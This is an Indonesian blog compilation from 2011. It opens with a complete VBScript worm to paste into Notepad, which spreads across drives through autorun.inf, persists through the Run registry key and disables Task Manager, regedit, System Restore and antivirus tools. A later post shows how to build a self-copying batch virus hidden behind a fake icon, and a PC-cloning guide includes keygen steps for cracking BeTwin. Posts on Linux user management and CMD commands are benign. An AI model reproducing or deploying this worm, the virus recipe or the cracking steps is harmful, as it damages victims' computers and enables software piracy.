SELAMAT DATANG

Sabtu, 23 Juli 2011

MEMBUAT VIRUS DENGAN MEMAKAI NOTEPAD

1. Buka Notepad
2. Copy kan kode dibawah ini:
on error resume next
dim rekur,syspath,windowpath,desades,
longka,mf,isi,tf,F0nAb0530,nt,check,sd
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe Mila.sys.vbs”
set longka = createobject(“Scripting.FileSystemObject”)
set mf = longka.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
Set windowpath = longka.getspecialfolder(0)
Set syspath = longka.getspecialfolder(1)
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 32
set tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)
tf.write rekur
tf.close
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 39
for each desades in longka.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path “A:” then
set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)
tf.attributes =32
set tf=longka.createtextfile(desades.path &”\Mila.sys.vbs”,2,true)
tf.write rekur
tf.close
set tf=longka.getfile(desades.path &”\Mila.sys.vbs”)
tf.attributes = 39
set tf =longka.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=longka.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = longka.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next
set F0nAb0530 = createobject(“WScript.Shell”)
F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: F0nA ::”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, “1″, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “F0nAb0530-X2/1″
F0nAb0530.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList”, “a”
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “F0nAb0530-X2″
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “Aku Sayang Mila”
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, syspath & “\recycle.vbs”
F0nAb0530.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.macancrew.net”
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger”,”“
if check 1 then
Wscript.sleep 200000
end if
loop while check 1
set sd = createobject(“Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
3. Simpan dengan nama Mila.sys.vbs

1 CPU Komputer untuk 2 hingga 4 Monitor User


Satu PC untuk satu user dengan satu monitor dan keyboard dengan banyak user itu sudah biasa, dan bagaimana jika kita hanya mempunyai satu CPU komputer tapi yang menggunakannya banyak.
Pada saat kita sedang bekerja tentu kita tidak ingin diganggu oleh teman atau orang lain yang juga ingin menggunakan komputer,  nah hal ini sering sekali kita jumpai dikehidupan kita sehari hari, mungkin anda ingin membuat rental atau warnet kecil-kecilan, dengan dana yang terbatas  mungkin cara ini bisa dipergunakan, semoga artikel kali ini dapat membantu saudara yang mengalami hal tersebut atau dapat sebagai alternatif memaksimalkan komputer yang kita miliki di rumah sendiri,
Artrikel ini sering dikenal dengan PC Cloning, untuk membangun PC cloning ini dibutuhkan software tambahan namaya betwin yang pada dasarnya kerja dari software betwin ini memisahkan perangkat keras seperti VGA, keyboard dan mouse pada masing-masing user account di sistem operasi yang digunakan,
Dengan mengkloning 1 buah PC menjadi 2 komputer atau lebih dapat menghemat berbagai peralatan yang akan digunakan. Pada komputer client hanya terdapat Monitor, keyboard, mouse dan speaker (optional). Masing-masing client dapat melakukan aktifitas yang berbeda dengan keyboard dan mouse yang dimiliknya.
dengan sistem klonning dapat mengurangi biaya penambahan station komputer, sehingga akan mengurangi investasi dan memudahkan perawatan sistem operasi.Bahkan disetiap user dapat surfing di internet, akses website yang berbeda-beda melalui satu jaringan LAN, modem dengan satu line saja.
PC Clonning dapat menggunakan sistem operasi Windows 98, Windows Millenium, Windows 2000 dan Windows XP untuk host-nya, sedangkan untuk station cukup dengan beberapa hardware yang dimilikinya seperti monitor, mouse dan keyboard, dimana nantinya pada setiap station akan tampil sistem operasi yang dimiliki host serta software-software yang sama seperti yang ada pada host
Kelebihan
kelebihan Menggunakan Clonning melalui port USB ini adalah
·Investasi murah karena memanfaatkan komputer yang sudah ada tanpa harus membeli komputer baru dengan spek yang sama.
·Kinerja Komputer station sama persis dengan komputer host dan bisa digunakan untuk keperluan Multi Media (Film, Musik, game dan lain-lain).
·Sistem Security yang tinggi karena standard NT/2000/XP
·Installasi relatif mudah dan performance lebih stabil karena kloning menggunakan Hardware.
Cara instalasinya:
langkah pertama adalah,pastikan semua driver vga sudah terinstall,dan usahakan bahwa vga untuk host adalah primary, bisa disetting di bios motherboard anda, pasang semua kabel ke 3 client ini ke port VGA, jika anda menggunakan dual head pada vga pci-ex mungkin anda perlu konverter dvi to vga, setelah terpasang dengan baik dengan 1 monitor ke vga onboard sebagai host, 2 monitor ke pci-ex (port dvi dan vga), dan satu monitor ke pci vga, coba lakukan test dengan masuk ke display properties, di bagian tab setting akan muncul beberapa icon monitor, klik monitor yang belum aktif dan centang extend my windows desktop onto this monitor agar monitor tersebut aktif dan menampilkan tampilan windows, lakukan ke semua monitor,,agar ke 3 monitor client aktif semua.
Setelah semua monitor aktif dan menampilkan gambar latar windows, lakukan instalasi usb hub, pasang 1 usb hub, tunggu sampai usbhub itu dikenali dan tidak ada konflik di windows, setelah ok, pasang mouse usb,,tunggu agar terdeteksi dan lakukan ujicoba mouse tersebut berjalan dengan baik atau tidak, setelah berhasil,,install keyboard usb ke usb hub,,,tunggu terdekteksi dan uji coba keyboard itu, lakukan hal yang sama untuk 2 klien yang lain. Pada intinya tancapkan satu persatu usb device anda agar tidak bentrok, dan mudah penyelesaiannya kalau seandainya ada salah satu device yang tidak berjalan normal.
Periksa dan uji coba kembali group pc clone anda,,mulai dari host, semua monitor dan usb device (keyboard, mouse) aktif dan normal semua, setelah itu install betwin versi demo anda, (intinya,, pastikan semua VGA dan hardware usb anda aktif dan ok semua sebelum menginstall betwin).Dalam isntalasi betwin, gunakan fitur auto configuration untuk client, maka betwin akan otomatis mengatur distribusi hardware usb ke setiap clientnya, lakukan perintah betwin untuk menekan keyboarb dan mouse pada setiap client.
Betwin akan restart, jika konfigurasi anda benar,,maka ke empat(1 house, 3 client) monitor itu akan menampilkan status login pada tiap user.
·Jika anda belum membuat user login,, buatlah user login pada windows di computer host anda, 3 user lagi untuk ke tiga client betwin,,misalnya User1, User2 dan User3.
Setelah ke 3 user ini tercipta, konfigurasi user login anda dalam betwin, masukan user user tersebut untuk login betwin, isikan password dan otomatiskan login untuk masuk ke system. Restart PChost.
Jika berhasil 3 client anda akan masuk ke windows dengan user name yang berbeda beda, User1, User2 dan User3, untuk otomatis login pc host bisa menggunakan security admin software.
Setelah semua berjalan bagus, untuk amannya,,masuklah ke system restore windows dan create restore point. Karena setelah betwin di crack anda tidak bisa melakukan konfigurasi ulang betwin, jika dipaksa masuk ke menu konfigurasi betwin,,maka ke 3 client akan mati, untuk menghidupkannya harus install ulang software betwin kembali dan melakukan konfigurasi dari awal. Tetapi karena anda sudah melakukan create restore point, anda hanya perlu merestore windows ke point restore yang anda buat, setelah direkonfigurasi,

PCCloning Menggunakan BETWIN Software

PC Clonning merupakan suatu bentuk efisiensi dalam penggunaan software dan hardware. Software berlisensi dapat diinstal dalam satu CPU host yang kemudian diklon untuk penggunaan bersama beberapa client (station) tanpa CPU, bahkan untuk akses ke internet dan bermain game multiplayer. Untuk melakukan clonning terhadapa PC, diperlukan software yang dapat mengatur penggunaan sumber daya komputer. Diantara beberapa software, BeTwin merupakan software yang mampu melakukan clonning ini dengan mudah. BeTwin memungkinkan pemakaian sistem operasi Windows 98, Windows Millenium Edition, Windows 2000 dan Windows XP secara bersamaan dalam satu CPU untuk beberapa pemakai sekaligus.Dengan mengkloning 1 buah PC menjadi 2 komputer atau lebih dapat menghemat berbagai peralatan yang akan digunakan. Pada komputer client hanya terdapat Monitor, keyboard, mouse dan speaker (optional). Masing-masing client dapat melakukan aktifitas yang berbeda dengan keyboard dan mouse yang dimiliknya.
dengan sistem klonning dapat mengurangi biaya penambahan station komputer, sehingga akan mengurangi investasi dan memudahkan perawatan sistem operasi.Bahkan disetiap user dapat surfing di internet, akses website yang berbeda-beda melalui satu jaringan LAN, modem dansatu line telepon.
PC Clonning dapat menggunakan sistem operasi Windows 98, Windows Millenium, Windows 2000 dan Windows XP untuk host-nya, sedangkan untuk station cukup dengan beberapa hardware yang dimilikinya seperti monitor, mouse dan keyboard, dimana nantinya pada setiap station akan tampil sistem operasi yang dimiliki hos,t serta software-software yang sama seperti yang ada pada host. Untuk membangun PC Cloning anda dapat menginstall aplikasi tambahan pada komputer host yaitu BeTwin, sedangkan untuk station tidak perlu penginstalan tetapi hanya perlu menginstall hardware-hardware yang ada pada station.
Keunggulan
Keunggulan Menggunakan Clonning melalui port USB ini adalah
  • Investasi murah karena memanfaatkan komputer yang sudah ada tanpa harus membeli komputer baru dengan spek yang sama.
  • Kinerja Komputer station sama persis dengan komputer host dan bisa digunakan untuk keperluan Multi Media (Film, Musik, game dan lain-lain).
  • Sistem Security yang tinggi karena standard NT/2000/XP
  • Installasi relatif mudah dan performance lebih stabil karena kloning menggunakan Hardware.
Cara instalasinya:
1. Saya menggunakan betwin versi 2.00.309 berjalan lancar dengan konfigurasi hardware= 1 pc host dengan P4 intel 3ghz, 1Gb DDR2, 1 VGA PCI-EX eagle geforce 7200GS dual head (bisa buat vga 2 client), 1VGA pci (1 client) dan 1 VGA onboard dari main board gigabyte GA-VM900M. Dengan konfigurasi diseperti ini saya dapat mendapatan 1 host dan 3 client, yang mampu menjalankan aplikasi seperti adobe photoshop, corel, aplikasi office, VB dan lain lain.
2. Untuk download versi betwin terbaru anda dapat download di http://www.thinsoftinc.com/download_form.aspx?pid=bt untuk versi demonya, atau silahkan langsung download di downloadbox di blog ini(all ready inulizer), pastikan browser sudah terinstall flash player,.
3. instalasi langkah pertama adalah,pastikan semua driver vga sudah terinstall,dan usahakan bahwa vga untuk host adalah primary, bisa disetting di bios motherboard anda, pasang semua kabel ke 3 client ini ke port VGA, jika anda menggunakan dual head pada vga pci-ex mungkin anda perlu konverter dvi to vga, setelah terpasang dengan baik dengan 1 monitor ke vga onboard sebagai host, 2 monitor ke pci-ex (port dvi dan vga), dan satu monitor ke pci vga, coba lakukan test dengan masuk ke display properties, di bagian tab setting akan muncul beberapa icon monitor, klik monitor yang belum aktif dan centang extend my windows desktop onto this monitor agar monitor tersebut aktif dan menampilkan tampilan windows, lakukan ke semua monitor,,agar ke 3 monitor client aktif semua.
4. Setelah semua monitor aktif dan menampilkan gambar latar windows, lakukan instalasi usb hub, pasang 1 usb hub, tunggu sampai usbhub itu dikenali dan tidak ada konflik di windows, setelah ok, pasang mouse usb,,tunggu agar terdeteksi dan lakukan ujicoba mouse tersebut berjalan dengan baik atau tidak, setelah berhasil,,install keyboard usb ke usb hub,,,tunggu terdekteksi dan uji coba keyboard itu, lakukan hal yang sama untuk 2 klien yang lain. Pada intinya tancapkan satu persatu usb device anda agar tidak bentrok, dan mudah penyelesaiannya kalau seandainya ada salah satu device yang tidak berjalan normal.
5. Periksa dan uji coba kembali group pc clone anda,,mulai dari host, semua monitor dan usb device (keyboard, mouse) aktif dan normal semua, setelah itu install betwin versi demo anda, (intinya,, pastikan semua VGA dan hardware usb anda aktif dan ok semua sebelum menginstall betwin).Dalam isntalasi betwin, gunakan fitur auto configuration untuk client, maka betwin akan otomatis mengatur distribusi hardware usb ke setiap clientnya, lakukan perintah betwin untuk menekan keyboarb dan mouse pada setiap client.
6. Betwin akan restart, jika konfigurasi anda benar,,maka ke empat(1 house, 3 client) monitor itu akan menampilkan status login pada tiap user.
7. Jika anda belum membuat user login,, buatlah user login pada windows di computer host anda, 3 user lagi untuk ke tiga client betwin,,misalnya BW1, BW2 danBW3.
8. Setelah ke 3 user ini tercipta, konfigurasi user login anda dalam betwin, masukan user user tersebut untuk login betwin, isikan password dan otomatiskan login untuk masuk ke system. Restart PChost.
9. Jika berhasil 3 client anda akan masuk ke windows dengan user name yang berbeda beda, BW1, BW2 dan BW3, untuk otomatis login pc host bisa menggunakan security admin software.
10. Setelah semua berjalan bagus, untuk amannya,,masuklah ke system restore windows dan create restore point. Karena setelah betwin di crack anda tidak bisa melakukan konfigurasi ulang betwin, jika dipaksa masuk ke menu konfigurasi betwin,,maka ke 3 client akan mati, untuk menghidupkannya harus install ulang software betwin kembali dan melakukan konfigurasi dari awal. Tetapi karena anda sudah melakukan create restore point, anda hanya perlu merestore windows ke point restore yang anda buat, setelah direkonfigurasi, silahkan anda crack kembali.
11. Cara cracknya, ekstrak file rar dan ektraklah semuanya didalam satu folder betwin (c:\program files\betwin\) kemudian masuklah ke command prompt, dengan command prompt masuklah ke c:\program files\betwin\ kemudian ketik
Keygen –r
Maka betwin anda akan di force untuk deregister 2 client, kemudian ketik lagi
Keygen –u 3
Maka lisensi anda akan valid untuk 3 user.
12. Setelah itu restart, maka segala notifikasi versi demo untuk 2 jam akan hilang, dengan catatan jangan pernah anda masuk ke system konfigurasi betwin lagi, atau 3 client anda akan mati. Lebih amannya hapus semua shortcut betwin atau instal deepfreeze untuk lebih amannya.

Jumat, 22 Juli 2011

Manajemen User di Backstek

Backtrack merupakan turunan dari distro Slax, dan bisa di katakan sebagai cucunya dari distro Slackware, bagi yang sudah pernah atau familiar dengan distro tua ini ( Slackware.Red ), tentunya tidak perlu terlalu lama untuk melakukan pembuatan user, jadi tutorial ini di tujukan untuk para newbie linux   Misalnya kita membuat user baru bernama Andesta. berikut langkah-langkahnya : Periksa terlebih dahulu Anda sekarang login sebagai apa? tentu saja sebagai root
lha… user lainkan belum dibikin ne…
# Andesgo
root

Sebelum melanjutkan ke tahap pembuatan user, saya akan membuat folder public_html terlebih dulu
di direktori /etc/skel agar setelah selesai membuat user, secara automatis folder public_html
juga akan dibuat pada home direktori user tersebut ( /home/andesgo/public_html ) :
# mkdir /etc/skel/public_html
Sekarang kita memasuki tahap pembuatan user :
# adduser andesgo
Login name for new user: andesgo
User ID (’UID’) [ defaults to next available ]:
Initial group [ users ]:
Additional groups (comma separated) []:
Home directory [ /home/andesgo ]
Shell [ /bin/bash ]
Expiry date (YYYY-MM-DD) []:
New account will be created as follows:
—————————————
Login name…….: andesgo
UID…………..: [ Next available ]
Initial group….: users
Additional groups: [ None ]
Home directory…: /home/andesgo
Shell…………: /bin/bash
Expiry date……: [ Never ]
This is it… if you want to bail out, hit Control-C. Otherwise, press
ENTER to go ahead and make the account.
Creating new account…
Changing the user information for anonymous
Enter the new value, or press ENTER for the default
Full Name []: andesgo
Room Number []:
Work Phone []:
Home Phone []:
Other []: atoz@bungker.org
Changing password for andesgo
Enter the new password (minimum of 5, maximum of 127 characters)
Please use a combination of upper and lower case letters and numbers.
New password: ***********
Re-enter new password: ***********
Password changed.
Account setup complete.
Note :
Masukkan nama user, no id useeer, nama kecil atau inisialisasi, home direktori, shell yang digunakan,
tanggal kadaluarssa hasil account yang dibuat.
Untuk menghapus user, jalankan perntah :
# userdel andesgo
Setiap user memilik group masing-masing, berguna bila bekerja dalam sebuah jaringan. Semua user yang berada dalam group yang sama memiliki hak akses yang sama pula, nah… untuk menambah group. gunakan perintah :
# groupadd [nama_group]
Untuk menghapusnya, gunakan perintah :
# groupdel [nama_group]
Apabila Anda ingin memodifikasi akun user yang Anda punya, gunakan perntah usermod. Misalnya Anda ingin memodifikasi
group user andesgo, menjadi group wheel.
# usermod -G wheel andesgo
# id andesgo
uid=1001(andesgo) gid=100(users) groups=100(users),10(wheel)
Untuk melihat manual penggunaan perintah yang telash disebutkan di atas, gunakan perintah man [nama_perintah]. Contoh :
# man usermod
Sampai disini dulu pembahasan kita. Selamat mencoba 

Buat Virus Dengan CMD

Bagi yang tidak bisa bahasa pemrograman ada satu cara yang gampang dan sangat mudah untuk membuat semacam virus.



Yang perlu dipersiapkan:

1. Software Quick Batch File Compiler (quickbfc.exe)
2. License key atau crack dari quickbfc
3. Pengetahuan akan perintah cmd
4. Software Icon Changer

quickbfc adalah software dari
www.abyssmedia.com yang mana software ini bisa digunakan untuk mengcompile (atau apa aja deh namanya) perintah2 cmd menjadi file exe.
Salah satu keistimewaan quickbfc ini adalah kemampuannya untuk menjadikan file exe yang dibuat ketika di run tidak akan menampilkan jendela console. Fitur ini bisa diset dengan memilih project=>option=>ghost application. Hanya saja yang bisa menggunakan fitur ini hanyalah full version (atau bisa juga di crack).

Icon Changer (IC) diperlukan untuk mencari icon seperti icon kepunyaan windows.
IC dapat didownload di
http://www.shelllabs.com.
Setelah membuka IC, search icon di folder windows\system32 , disitu akan ada banyak icon yang menarik, seperti icon folder, icon text,dll. Setelah ketemu icon yg diinginkan simpan icon tersebut.

Sekarang kita bahas masalah perintah cmdnya. Salah satu ciri virus yaitu kemampuan menggandakan diri. Seperti kita ketahui jika kita membuat bat file dg isinya “ copy %0 c:\ “ maka akan berakibat file bat tadi dicopikan ke c:\. Tapi ketika kita menggunakan perintah yg sama di quickbfc maka hasilnya tidak seperti itu, dalam artian file exe yang dihasilkan ketika di run tidak akan di copi ke drive c:\. Untuk menyiasati hal ini kita bisa menggunakan cara lain yaitu dengan perintah “for %%a in (*.exe) do if %%~za equ 12345 copy %%a c:\arira.exe “ .

Perintah ini berarti “ untuk setiap file exe dalam direktori ini jika file berukuran 12345 bytes maka copikan file (yg berukuran 12345 bytes tadi ) ke c:\ dg nama arira.exe “. 12345 adalah ukuran file virus hasil kompile dari quickbfc (misalnya) . Permasalahan yg ada adalah jika ada file exe yg ukurannya sama dan berada pada folder yg sama dengan file virus kita.

Ok,selanjutnya buat perintah lainnya.
Kita buat agar kalau virus kita di run akan membuka my documents. Perintahnya “ explorer %userprofile% “.
Terusss, perintah yang ini bisa sedikit menjengkelkan for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe "%%d" ,perintah ini berarti “untuk setiap folder, subfolder di drive c copikan file c:\arira.exe di folder kalian dengan nama cinta.exe”. maka setelah perintah ini selesai dieksekusi semua folder dan subfolder di c:\ akan memiliki file cinta.exe.
Dan seterusnya….dan seterusnya pikirkan sendiri perintahnya…..misalkan bikin value di regedit biar si virus bisa hidup lagi setelah computer restart,dll.

Contoh: perintah cmd yang sudah kita buat

REM ini adalah awal dari skrip
for %%a in (*.exe) do if %%~za equ 12345 copy “%%a” c:\arira.exe
explorer %userprofile%
for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe "%%d"
REM ini adalah akhir dari skrip

Sebelum dikompile pilih custom resources untuk menset icon dari file yang akan dihasilkan. Kompile skript diatas, kemudian lihat ukuran file exe yang dihasilkan. Misalkan ukuran file yang dihasilkan adalah 82571, maka ganti skript diatas sehingga menjadi

REM ini adalah awal dari skrip
for %%a in (*.exe) do if %%~za equ 82571 copy “%%a” c:\arira.exe
explorer %userprofile%
for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe "%%d"
REM ini adalah akhir dari skrip

Kompile ulang, lihat ukuran file yang dihasilkan. Jika ukurannya 82571 bytes maka sudah benar. Jika belum, ulangi sampai angka pada skript sama dengan ukuran file yang dihasilkan.


Keterangan:
Pada contoh perintah diatas “for %%a in (*.exe) do if %%~za equ 82571 copy %%a c:\arira.exe “ tidak bisa digunakan untuk cmd (hanya bisa untuk skript), kalau pingin menggunakan perintah ini dalam cmd makan ganti %%a dengan %a sehingga perintahnya akan menjadi “ for %a in (*.exe) do if %~za equ 82571 copy %a c:\arira.exe “


JANGAN DISALAHGUNAKAN UNTUK HAL-HAL YANG TIDAK BAIK CUKUO UNTUK PENGETAHUAN AJHA KEY MASBRO......................

Perintah CMD

Command Prompt adalah sebuah perintah dos yang terdapat pada OS windows yang dapat memudahkan user dalam menjelajahi windows baik secara online maupun offline, dan aplikasi ini bisa juga disalahgunakan oleh seorang cracker untuk menjalankan aksi-aksinya hanya dengan menggunakan command prompt. Maka dari itu sebagai langkah antisipasi bagi anda sebagai user adalah dengan mengenal lebih jauh tentang seluk beluk dari command prompt agar bisa memahami cara kerja dan manfaatnya,  salah satu dari sekian banyak manfaat dari command prompt adalah kemampuannya untuk mendeteksi adanya virus, memisahkan virus dengan file yang diinfeksinya, mencari file induk virus hanya dengan perintah ATTRIB . Berikut dibawah ini merupakan daftar perintah-perintah yang ada pada command prompt dari A-X :
a                                                                                                                   ADDUSERS : Tambah  daftar pengguna untuk / dari file CSV
ARP : Address Resolution Protocol
Assoc : Ubah ekstensi file  asosiasi
ASSOCIAT : Salah satu langkah asosiasi file
Attrib : Ubah atribut berkas
b
Bootcfg : Edit Windows boot settings
BROWSTAT : Dapatkan domain, info browser dan PDC
c
CACLS : Ubah file permissions
CALL : Panggil satu program batch yang lain
CD : Mengganti Directory – pindah ke Folder tertentu
Change : Ganti Terminal Server Session properties
CHKDSK : Check Disk – memeriksa dan memperbaiki masalah disk
CHKNTFS : Periksa sistem file NTFS
CHOICE : Menerima input keyboard ke sebuah file batch
CIPHER : Encrypt atau Decrypt file / folder
CleanMgr : Ototmatis membersihkan Temperatur file, recycle bin
CLEARMEM : Hapus kebocoran memori
CLIP : Salin STDIN ke Windows clipboard.
CLS : Menghapus layar (Clear The Screen)
CLUSTER : Windows Clustering
CMD : Start a new CMD shell
COLOR : Mengubah warna dari jendela CMD
COMP : Membandingkan isi dari dua file atau set file
COMPACT : Compress file atau folder pada partisi NTFS
Compress : Compress tunggal file pada partisi NTFS
CON2PRT : Menghubungkan atau memutuskan sambungan dengan Printer
CONVERT : Konversi FAT ke drive NTFS
COPY : Menyalin satu atau lebih file ke lokasi lain
CSCcmd : clien-side caching (Offline Files)
CSVDE : Impor atau Ekspor  Active Directory data
d
DATE : Display atau mengatur tanggal
Defrag : Defragment hard drive
DEL : Menghapus satu atau lebih file
DELPROF : Hapus  profil pengguna NT
DELTREE : Menghapus folder dan semua subfolder
DevCon : Device Manager Command Line Utility
DIR : Menampilkan daftar file dan folder
DIRUSE : Tampilkan penggunaan disk
DISKCOMP : Bandingkan  isi dua floppy disk
Diskcopy : Salin isi dari satu disket ke yang lain
DISKPART : Disk Administrasi
DNSSTAT : DNS Statistik
DOSKEY : Edit baris perintah, ingat perintah, dan membuat macro
DSADD : Tambah User (komputer, group ..) ke direktori aktif
DSQUERY : Daftar item dalam direktori aktif
DSMOD : Ubah user (computer, group ..) di direktori aktif
DSRM : Hapus item dari Active Directory
e
ECHO : Menampilkan pesan di layar
ENDLOCAL : Akhir localisation  perubahan lingkungan dalam file batch
ERASE : Menghapus satu atau lebih file
EVENTCREATE : Tambahkan pesan ke Windows event log
EXIT : Keluar dari skrip arus / rutin dan menetapkan errorlevel
EXPAND : uncompress file
Ekstrak : uncompress file CAB
f
FC : Bandingkan dua file
FIND : Mencari string teks dalam sebuah file
FINDSTR : Cari  string dalam file
FOR / F : pengulangan perintah terhadap satu set file
FOR / F : pengulangan perintah terhadap hasil perintah lain
FOR : pengulangan perintah terhadap semua options Files, Directory, List
FORFILES : Proses Batch beberapa file
FORMAT : Format disk
FREEDISK : Periksa free disk space/disk yang tersisa (dalam bytes)
FSUTIL : File dan Volume utilitas
FTP : File Transfer Protocol
FTYPE : Tampilkan atau memodifikasi jenis file yang digunakan dalam asosiasi ekstensi file
g
GLOBAL : Display keanggotaan kelompok global
GOTO : Direct a batch program untuk melompat ke baris berlabel
GPUPDATE : Update pengaturan Kebijakan Grup
h
HELP : Online Help
i
ICACLS : Ubah file dan folder permissions
IF : kondisional melakukan perintah
IFMEMBER : Apakah pengguna saat ini dalam sebuah NT Workgroup
IPCONFIG : Configure IP
k
KILL : Remove program dari memori
l
LABEL : Edit disk label
LOCAL : Display keanggotaan kelompok-kelompok lokal
LOGEVENT : Menulis teks ke NT event viewer
Logoff : user log off
LOGTIME : log tanggal dan waktu dalam file
m
MAPISEND : Kirim email dari baris perintah
MBSAcli : Baseline Security Analyzer
MEM : Display penggunaan memori
MD : Buat folder baru
MKLINK : Buat link simbolik (linkd)
MODE : Mengkonfigurasi perangkat sistem
MORE : Display output, satu layar pada satu waktu
MOUNTVOL : mengelola volume mount point
MOVE : Pindahkan file dari satu folder ke yang lain
MOVEUSER : Pindahkan pengguna dari satu domain ke domain lainnya
MSG : mengirim pesan atau message
MSIEXEC : Microsoft Windows Installer
MSINFO : Windows NT diagnostics
MSTSC : Terminal Server Connection (Remote Desktop Protocol)
MUNGE : Cari dan Ganti teks dalam file (s)
MV : Copy in-menggunakan file
n
NET : Kelola sumber daya jaringan
NETDOM : Domain Manager
